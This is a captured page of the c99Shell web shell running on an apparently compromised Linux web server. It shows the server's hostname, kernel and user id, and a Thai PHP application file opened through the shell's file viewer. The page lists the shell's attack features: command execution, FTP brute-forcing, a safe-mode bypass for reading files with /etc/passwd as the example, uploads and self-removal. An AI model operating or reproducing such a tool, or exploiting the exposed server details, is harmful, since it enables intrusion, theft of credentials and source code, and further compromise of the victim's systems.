!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/cvc/application/views/version/   drwxr-xr-x
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_download_pkg.php (5.33 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<div class="ver_header">อัพเดตระบบ</div>
<p>&nbsp;</p>
<label>เครื่อง Server :: </label><span><?php echo $server_name;?></span><br /><br />
<?php 
$atts 
= array(    'width' => '700'
                
'height' => '200',  
                
'status' => 'yes'
                
'resizable' => 'yes'
                
'screenx' => '0'
                
'screeny' => '0');
echo 
anchor_popup($this->config->item("ver_folder").'updateversion/config_server'img(base_url().$this->config->item('ver_pc')).'&nbsp;ตั้งค่าเครื่อง Server'$atts);
?>
<p>&nbsp;</p>
<?php 
    $sys_row 
= (isset($qu_sys)) ? $qu_sys->row() : null
?>
<?php 
echo form_open($this->config->item("ver_folder").'updateversion/chk_update');?>
<table border="0" width="90%" align="center">
    <tr class="light1">
        <td height="30"><b>ชื่อระบบ : </b></td>
        <td><?php
                $js 
'id="system_select"';
                echo 
form_dropdown('system_select'$systemgetval('system_select'$sys_row), $js);
            
?>
            <span class="error">* <?php echo form_error('system_select');?></span>
        </td>
    </tr>
    <tr class="light1">
        <td height="30" width="20%"><b>path ของระบบ : </b></td>
        <td>&nbsp;<input type="text" name="ag_path" id="ag_path" value="<?php echo set_value('ag_path');?>" size="70"/>&nbsp;<span class="error">*</span><?php echo form_error('ag_path');?>&nbsp;ตัวอย่างเช่น : /var/www/...</td>
    </tr>
</table>
<p>&nbsp;</p>
<p align="center">
<input type="submit" id="btnChkUpd" name="btnChkUpd" value="ตรวจสอบการอัพเดทโปรแกรม" />
</p>
<?php echo form_close();?>
<p>&nbsp;</p>

<?php //echo form_open($this->config->item("ver_folder").'updateversion/download_pkg');?>
<table class="ver_table" style="width:90%;">
    <thead>
        <tr>
            <th>ลำดับที่</th>
            <th>รายละเอียดแพคเกจ</th>
            <th>ดำเนินการ</th>
        </tr>
    </thead>
    <tbody>
<?php
    
if(isset($flag) && $flag == 0)
    {
        if(isset(
$pkg_upd) && count($pkg_upd)!=0)
        {
            
$i 1;
            foreach(
$pkg_upd as $index => $row_pkg)
            {
                if(
$row_pkg->pkg_row != && $row_pkg->pkg_row != '')
                {
?>
                    <tr>
                        <td class="ver_center"><?php echo $i++;?></td>
                        <td>
                            &nbsp;เวอร์ชันแพคเกจ : 
                            <span id="pkg_version<?=$row_pkg->pkg_id?>">
                                <?php echo $row_pkg->pkg_version;?>
                            </span>
                            <br />
                            &nbsp;รายละเอียดแพคเกจ : 
                            <span id="pkg_detail<?=$row_pkg->pkg_id?>">
                                <?php echo $row_pkg->pkg_detail;?>
                            </span>
                            <br />
                            &nbsp;รายละเอียดไฟล์ :<br />
                            <span id="file_detail">
                                <?php 
                                $total 
0;
                                foreach(
$row_pkg as $files => $row_file){ 
                                    foreach(
$row_file as $file => $row){
                                        echo 
"<em style='padding-left:30px; color:green;'>".$row->file_name."&nbsp;&nbsp; -- &nbsp;&nbsp;".$row->file_size."&nbsp;&nbsp;KB</em><br/>";
                                        
$total $total $row->file_size;
                                    }
                                }
?>
                            </span>
                            <br />
                            &nbsp;ขนาดไฟล์ทั้งหมด 
                            <span><?php echo $total?> KB</span>
                            <input type="hidden" name="pkg_id" id="pkg_id" value="<?php echo $row_pkg->pkg_id;?>" /> 
                            <input type="hidden" name="sys_id" id="sys_id" value="<?php echo $qu_sys->row()->csys_id;?>" /> 
                        </td>
                        <td class="ver_center">
                            <div>
                                <!--<input name="<?//=$row_pkg->pkg_id; ?>" class="download" type="submit" value="ดาวน์โหลด" />-->
                                <?php 
                                    $frm_url 
site_url($this->config->item('ver_folder').'updateversion').'/';
                                    
$download_title $this->config->item('ver_title_download');
                                    echo 
anchor('#',"<img src=\"".base_url().$this->config->item('ver_download')."\" title=\"".$download_title."\" alt=\"".$download_title."\" width=\"48\" height=\"48\" class=\"noborder\" />","class=\"preventDf\" onclick=\"sendPost('frmEdit',{'pkg_id':".$row_pkg->pkg_id.", 'sys_id':".$qu_sys->row()->csys_id."},'".$frm_url."download_pkg')\""); 
                                
?>
                                <!--<input name="<?//=$row_pkg->pkg_id; ?>" style="display:none;" class="install" type="button" 
                                value="install" />-->
                            </div>
                        </td>
                    </tr>
<?php    
                

            }
        } else {
?>
            <tr>
                <td class="ver_center" colspan="5">
                    <span class="ver_error">
                    <?php echo $this->config->item('ver_not_update');?>
                    </span>
                </td>
            </tr>
<?php
        
}
    } else if(isset(
$flag) && $flag == 1) {
        
$msg "กรุณาตรวจสอบ Group, Owner ของ path ที่ต้องการอัพเดท";
        echo 
'<script type="text/javascript">alert("' $msg '"); </script>';
?>
        <tr>
            <td class="ver_center" colspan="5">
                <span class="ver_error">
                <?php echo $this->config->item('ver_not_update');?>
                </span>
            </td>
        </tr>
<?php
    
} else {
        
$msg "ไม่พบ path '".$ag_path."' กรุณาสร้าง path ก่อนอัพเดทระบบ";
        echo 
'<script type="text/javascript">alert("' $msg '"); </script>';
    
?>
        <tr>
            <td class="ver_center" colspan="5">
                <span class="ver_error">
                <?php echo $this->config->item('ver_not_update');?>
                </span>
            </td>
        </tr>
<?php
    
}
?>

    </tbody>
</table>
<?php 
    
//echo form_close();
    //echo form_open($this->config->item('ver_folder').'updateversion/install_pkg',array('id'=>'frmInstall'));
    //echo form_close();
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0066 ]--